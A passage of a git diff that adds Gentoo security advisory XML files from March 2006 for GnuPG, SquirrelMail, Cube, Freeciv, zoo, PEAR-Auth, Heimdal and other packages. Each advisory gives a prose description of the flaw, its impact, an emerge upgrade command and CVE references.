+  <metadata tag="requester" timestamp="Fri, 03 Mar 2006 18:28:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 03 Mar 2006 18:29:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 07 Mar 2006 21:06:21 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-08.xml b/xml/htdocs/security/en/glsa/glsa-200603-08.xml
new file mode 100644
index 00000000..c0a31bb2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-08.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-08">
+  <title>GnuPG: Incorrect signature verification</title>
+  <synopsis>
+    GnuPG may erroneously report a modified or unsigned message has a valid
+    digital signature.
+  </synopsis>
+  <product type="ebuild">gnupg</product>
+  <announced>March 10, 2006</announced>
+  <revised>March 10, 2006: 01</revised>
+  <bug>125217</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/gnupg" auto="yes" arch="*">
+      <unaffected range="ge">1.4.2.2</unaffected>
+      <vulnerable range="lt">1.4.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNU Privacy Guard, GnuPG, is a free replacement for the PGP
+    suite of cryptographic software that may be used without restriction,
+    as it does not rely on any patented algorithms. GnuPG can be used to
+    digitally sign messages, a method of ensuring the authenticity of a
+    message using public key cryptography.
+    </p>
+  </background>
+  <description>
+    <p>
+    OpenPGP is the standard that defines the format of digital
+    signatures supported by GnuPG. OpenPGP signatures consist of multiple
+    sections, in a strictly defined order. Tavis Ormandy of the Gentoo
+    Linux Security Audit Team discovered that certain illegal signature
+    formats could allow signed data to be modified without detection. GnuPG
+    has previously attempted to be lenient when processing malformed or
+    legacy signature formats, but this has now been found to be insecure.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker may be able to construct or modify a
+    digitally-signed message, potentially allowing them to bypass
+    authentication systems, or impersonate another user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuPG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/gnupg-1.4.2.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0049">CVE-2006-0049</uri>
+    <uri link="http://lists.gnupg.org/pipermail/gnupg-announce/2006q1/000216.html">GnuPG Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 08 Mar 2006 22:34:09 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Mar 2006 21:32:19 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-09.xml b/xml/htdocs/security/en/glsa/glsa-200603-09.xml
new file mode 100644
index 00000000..b0c70bdd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-09.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-09">
+  <title>SquirrelMail: Cross-site scripting and IMAP command injection</title>
+  <synopsis>
+    SquirrelMail is vulnerable to several cross-site scripting vulnerabilities
+    and IMAP command injection.
+  </synopsis>
+  <product type="ebuild">squirrelmail</product>
+  <announced>March 12, 2006</announced>
+  <revised>March 12, 2006: 01</revised>
+  <bug>123781</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/squirrelmail" auto="yes" arch="*">
+      <unaffected range="ge">1.4.6</unaffected>
+      <vulnerable range="lt">1.4.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SquirrelMail is a webmail package written in PHP. It supports IMAP
+    and SMTP protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    SquirrelMail does not validate the right_frame parameter in
+    webmail.php, possibly allowing frame replacement or cross-site
+    scripting (CVE-2006-0188). Martijn Brinkers and Scott Hughes discovered
+    that MagicHTML fails to handle certain input correctly, potentially
+    leading to cross-site scripting (only Internet Explorer,
+    CVE-2006-0195). Vicente Aguilera reported that the
+    sqimap_mailbox_select function did not strip newlines from the mailbox
+    or subject parameter, possibly allowing IMAP command injection
+    (CVE-2006-0377).
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By exploiting the cross-site scripting vulnerabilities, an
+    attacker can execute arbitrary scripts running in the context of the
+    victim's browser. This could lead to a compromise of the user's webmail
+    account, cookie theft, etc. A remote attacker could exploit the IMAP
+    command injection to execute arbitrary IMAP commands on the configured
+    IMAP server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SquirrelMail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/squirrelmail-1.4.6&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0188">CVE-2006-0188</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0195">CVE-2006-0195</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0377">CVE-2006-0377</uri>
+  </references>
+  <metadata tag="">
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Mar 2006 16:55:59 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Mar 2006 21:38:55 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-10.xml b/xml/htdocs/security/en/glsa/glsa-200603-10.xml
new file mode 100644
index 00000000..47999a37
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-10.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-10">
+  <title>Cube: Multiple vulnerabilities</title>
+  <synopsis>
+    Cube is vulnerable to a buffer overflow, invalid memory access and remote
+    client crashes, possibly leading to a Denial of Service or remote code
+    execution.
+  </synopsis>
+  <product type="ebuild">cube</product>
+  <announced>March 13, 2006</announced>
+  <revised>March 13, 2006: 01</revised>
+  <bug>125289</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-fps/cube" auto="yes" arch="*">
+      <vulnerable range="le">20050829</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cube is an open source first person shooter game engine supporting
+    multiplayer via LAN or internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma reported that Cube is vulnerable to a buffer
+    overflow in the sgetstr() function (CVE-2006-1100) and that the
+    sgetstr() and getint() functions fail to verify the length of the
+    supplied argument, possibly leading to the access of invalid memory
+    regions (CVE-2006-1101). Furthermore, he discovered that a client
+    crashes when asked to load specially crafted mapnames (CVE-2006-1102).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit the buffer overflow to execute
+    arbitrary code with the rights of the user running cube. An attacker
+    could also exploit the other vulnerabilities to crash a Cube client or
+    server, resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Play solo games or restrict your multiplayer games to trusted
+    parties.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Upstream stated that there will be no fixed version of Cube, thus
+    the Gentoo Security Team decided to hardmask Cube for security reasons.
+    All Cube users are encouraged to uninstall Cube:
+    </p>
+    <code>
+    # emerge --ask --unmerge games-fps/cube</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1100">CVE-2006-1100</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1101">CVE-2006-1101</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1102">CVE-2006-1102</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 11 Mar 2006 12:37:07 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Mar 2006 16:16:08 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-11.xml b/xml/htdocs/security/en/glsa/glsa-200603-11.xml
new file mode 100644
index 00000000..ccbef20d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-11.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-11">
+  <title>Freeciv: Denial of Service</title>
+  <synopsis>
+    A memory allocation bug in Freeciv allows a remote attacker to perform a
+    Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">freeciv</product>
+  <announced>March 16, 2006</announced>
+  <revised>March 16, 2006: 01</revised>
+  <bug>125304</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-strategy/freeciv" auto="yes" arch="*">
+      <unaffected range="ge">2.0.8</unaffected>
+      <vulnerable range="lt">2.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Freeciv is an open source turn-based multiplayer strategy game,
+    similar to the famous Civilization series.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma discovered that Freeciv could be tricked into the
+    allocation of enormous chunks of memory when trying to uncompress
+    malformed data packages, possibly leading to an out of memory condition
+    which causes Freeciv to crash or freeze.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this issue to cause a Denial of
+    Service by sending specially crafted data packages to the Freeciv game
+    server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Play solo games or restrict your multiplayer games to trusted
+    parties.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Freeciv users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-strategy/freeciv-2.0.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0047">CVE-2006-0047</uri>
+    <uri link="http://aluigi.altervista.org/adv/freecivdos-adv.txt">Original advisory</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 12 Mar 2006 20:13:19 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 12 Mar 2006 20:29:12 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-12.xml b/xml/htdocs/security/en/glsa/glsa-200603-12.xml
new file mode 100644
index 00000000..4dcec005
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-12">
+  <title>zoo: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow in zoo may be exploited to execute arbitrary when
+    creating archives of specially crafted directories and files.
+  </synopsis>
+  <product type="ebuild">zoo</product>
+  <announced>March 16, 2006</announced>
+  <revised>March 16, 2006: 01</revised>
+  <bug>125622</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-arch/zoo" auto="yes" arch="*">
+      <unaffected range="ge">2.10-r2</unaffected>
+      <vulnerable range="lt">2.10-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    zoo is a file archiving utility for maintaining collections of
+    files, written by Rahul Dhesi.
+    </p>
+  </background>
+  <description>
+    <p>
+    zoo is vulnerable to a new buffer overflow due to insecure use of
+    the strcpy() function when trying to create an archive from certain
+    directories or filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this issue by enticing a user to create
+    a zoo archive of specially crafted directories and filenames, possibly
+    leading to the execution of arbitrary code with the rights of the user
+    running zoo.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All zoo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/zoo-2.10-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=183426">RedHat Bug #183426</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1269">CVE-2006-1269</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 11 Mar 2006 11:35:08 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Mar 2006 16:19:21 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 12 Mar 2006 17:50:06 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-13.xml b/xml/htdocs/security/en/glsa/glsa-200603-13.xml
new file mode 100644
index 00000000..8cf1dee9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-13.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-13">
+  <title>PEAR-Auth: Potential authentication bypass</title>
+  <synopsis>
+    PEAR-Auth did not correctly verify data passed to the DB and LDAP
+    containers, thus allowing to inject false credentials to bypass the
+    authentication.
+  </synopsis>
+  <product type="ebuild">pear-auth</product>
+  <announced>March 17, 2006</announced>
+  <revised>March 17, 2006: 01</revised>
+  <bug>123832</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/PEAR-Auth" auto="yes" arch="*">
+      <unaffected range="ge">1.2.4</unaffected>
+      <vulnerable range="lt">1.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PEAR-Auth is a PEAR package that provides methods to create a PHP
+    based authentication system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Matt Van Gundy discovered that PEAR-Auth did not correctly
+    validate data passed to the DB and LDAP containers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly exploit this vulnerability to
+    bypass the authentication mechanism by injecting specially crafted
+    input to the underlying storage containers.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PEAR-Auth users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/PEAR-Auth-1.2.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0868">CVE-2006-0868</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Mar 2006 21:29:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Mar 2006 21:29:45 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 14 Mar 2006 23:22:04 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-14.xml b/xml/htdocs/security/en/glsa/glsa-200603-14.xml
new file mode 100644
index 00000000..ec844637
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-14.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-14">
+  <title>Heimdal: rshd privilege escalation</title>
+  <synopsis>
+    An error in the rshd daemon of Heimdal could allow authenticated users to
+    elevate privileges.
+  </synopsis>
+  <product type="ebuild">heimdal</product>
+  <announced>March 17, 2006</announced>
+  <revised>March 17, 2006: 01</revised>
+  <bug>121839</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/heimdal" auto="yes" arch="*">
+      <unaffected range="ge">0.7.2</unaffected>
+      <vulnerable range="lt">0.7.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heimdal is a free implementation of Kerberos 5.
+    </p>
+  </background>
+  <description>
+    <p>
+    An unspecified privilege escalation vulnerability in the rshd
+    server of Heimdal has been reported.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Authenticated users could exploit the vulnerability to escalate
+    privileges or to change the ownership and content of arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Heimdal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/heimdal-0.7.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0582">CVE-2006-0582</uri>
+    <uri link="http://www.pdc.kth.se/heimdal/advisory/2006-02-06/">Heimdal Advisory 2006-02-06</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Mar 2006 18:02:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Mar 2006 09:34:15 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 17 Mar 2006 10:14:03 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-15.xml b/xml/htdocs/security/en/glsa/glsa-200603-15.xml
new file mode 100644
index 00000000..787ffed2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-15.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-15">
+  <title>Crypt::CBC: Insecure initialization vector</title>
+  <synopsis>
+    Crypt::CBC uses an insecure initialization vector, potentially resulting in
+    a weaker encryption.
+  </synopsis>
+  <product type="ebuild">crypt-cbc</product>
+  <announced>March 17, 2006</announced>
+  <revised>March 17, 2006: 01</revised>
+  <bug>126048</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-perl/crypt-cbc" auto="yes" arch="*">
+      <unaffected range="ge">2.17</unaffected>
+      <vulnerable range="lt">2.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Crypt::CBC is a Perl module to encrypt data using cipher block
+    chaining (CBC).
+    </p>
+  </background>
+  <description>
+    <p>
+    Lincoln Stein discovered that Crypt::CBC fails to handle 16 bytes
+    long initializiation vectors correctly when running in the RandomIV
+    mode, resulting in a weaker encryption because the second part of every
+    block will always be encrypted with zeros if the blocksize of the
+    cipher is greater than 8 bytes.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could exploit weak ciphertext produced by Crypt::CBC
+    to bypass certain security restrictions or to gain access to sensitive
+    data.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Crypt::CBC users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-perl/crypt-cbc-2.17&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0898">CVE-2006-0898</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Mar 2006 21:26:26 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Mar 2006 21:26:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 14 Mar 2006 23:04:56 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-16.xml b/xml/htdocs/security/en/glsa/glsa-200603-16.xml
new file mode 100644
index 00000000..fe9e3edb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-16.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-16">
+  <title>Metamail: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow in Metamail could possibly be exploited to execute
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">metamail</product>
+  <announced>March 17, 2006</announced>
+  <revised>March 17, 2006: 01</revised>
+  <bug>126052</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/metamail" auto="yes" arch="*">
+      <unaffected range="ge">2.7.45.3-r1</unaffected>
+      <vulnerable range="lt">2.7.45.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Metamail is a program that decodes MIME encoded mail.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar discovered a buffer overflow in Metamail when
+    processing mime boundraries.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a specially crafted email, attackers could potentially
+    exploit this vulnerability to crash Metamail or to execute arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Metamail users should update to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/metamail-2.7.45.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0709">CVE-2006-0709</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 14 Mar 2006 21:16:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Mar 2006 09:48:07 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Mar 2006 21:04:49 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-17.xml b/xml/htdocs/security/en/glsa/glsa-200603-17.xml
new file mode 100644
index 00000000..522c4196
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-17.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-17">
+  <title>PeerCast: Buffer overflow</title>
+  <synopsis>
+    PeerCast is vulnerable to a buffer overflow that may lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">peercast</product>
+  <announced>March 21, 2006</announced>
+  <revised>March 21, 2006: 01</revised>
+  <bug>123432</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/peercast" auto="yes" arch="*">
+      <unaffected range="ge">0.1217</unaffected>
+      <vulnerable range="lt">0.1217</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PeerCast is a Peer to Peer broadcasting technology for listening
+    to radio and watching video on the Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    INFIGO discovered a problem in the URL handling code. Buffers that
+    are allocated on the stack can be overflowed inside of nextCGIarg()
+    function.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a specially crafted request to the HTTP server, a
+    remote attacker can cause a stack overflow, resulting in the execution
+    of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PeerCast users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/peercast-0.1217&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2006-1148">CVE-2006-1148</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 11 Mar 2006 11:34:53 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 12 Mar 2006 17:55:02 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 18 Mar 2006 02:16:00 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-18.xml b/xml/htdocs/security/en/glsa/glsa-200603-18.xml
new file mode 100644
index 00000000..2ac4622e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-18.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-18">
+  <title>Pngcrush: Buffer overflow</title>
+  <synopsis>
+    Pngcrush is vulnerable to a buffer overflow which could potentially lead to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">pngcrush</product>
+  <announced>March 21, 2006</announced>
+  <revised>March 21, 2006: 01</revised>
+  <bug>123286</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/pngcrush" auto="yes" arch="*">
+      <unaffected range="ge">1.6.2</unaffected>
+      <vulnerable range="lt">1.6.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pngcrush is an optimizer for PNG files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Carsten Lohrke of Gentoo Linux reported that Pngcrush contains a
+    vulnerable version of zlib (GLSA 200507-19).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By creating a specially crafted data stream, attackers can
+    overwrite data structures for applications that use Pngcrush, resulting
+    in a Denial of Service and potentially arbitrary code execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pngcrush users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/pngcrush-1.6.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200507-19.xml">GLSA 200507-19</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1849">CVE-2005-1849</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 22 Feb 2006 18:06:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 03 Mar 2006 17:03:15 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 18 Mar 2006 02:00:13 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200603-19.xml b/xml/htdocs/security/en/glsa/glsa-200603-19.xml
new file mode 100644
index 00000000..886602b4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200603-19.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200603-19">
+  <title>cURL/libcurl: Buffer overflow in the handling of TFTP URLs</title>
+  <synopsis>
+    libcurl is affected by a buffer overflow in the handling of URLs for the
+    TFTP protocol, which could be exploited to compromise a user's system.
+  </synopsis>
+  <product type="ebuild">curl</product>
+  <announced>March 21, 2006</announced>
+  <revised>March 21, 2006: 01</revised>
+  <bug>125766</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/curl" auto="yes" arch="*">
+      <unaffected range="rge">7.15.1-r1</unaffected>
+      <unaffected range="ge">7.15.3</unaffected>
